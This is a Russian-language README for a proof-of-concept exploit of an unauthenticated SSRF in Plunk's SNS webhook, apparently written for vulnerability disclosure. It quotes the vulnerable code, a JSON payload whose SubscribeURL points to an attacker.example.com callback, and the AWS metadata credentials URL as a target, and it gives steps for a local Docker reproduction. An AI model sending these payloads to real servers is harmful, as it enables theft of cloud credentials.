
Доказательство концепции эксплуатации уязвимости SSRF в SNS-вебхуке Plunk, демонстрирующее неаутентифицированную подделку серверных запросов через непроверенный SubscribeURL.
SSRF через непроверенное подтверждение подписки AWS SNS в useplunk/plunk
Конечная точка API Plunk POST /webhooks/sns загружает предоставленный атакующим SubscribeURL без проверки криптографической подписи AWS SNS. Неаутентифицированный атакующий может заставить сервер выполнять произвольные исходящие HTTP-запросы (SSRF).
| Серьёзность | Критическая — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: Подделка серверных запросов |
| Затронутый файл | apps/api/src/controllers/Webhooks.ts |
| Требуется аутентификация | Нет |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — нет проверки подписи
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
Минимальная полезная нагрузка состоит всего из двух полей:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/Запустите тестовое окружение Plunk:
docker compose up -d
Запустите прослушиватель обратного вызова SSRF:
python3 listener.py
Запустите эксплойт:
chmod +x exploit.sh
./exploit.sh
Наблюдайте обратный вызов в выводе listener.py, подтверждающий, что сервер загрузил управляемый атакующим URL.
| Файл | Описание |
|---|---|
exploit.sh | Скрипт эксплойта «под ключ» — отправляет подделанную полезную нагрузку SNS на уязвимую конечную точку |
listener.py | Прослушиватель обратного вызова SSRF — перехватывает и регистрирует входящие запросы от сервера Plunk |
docker-compose.yml | Минимальное окружение Docker Compose (Postgres, Redis, Plunk) для локального воспроизведения |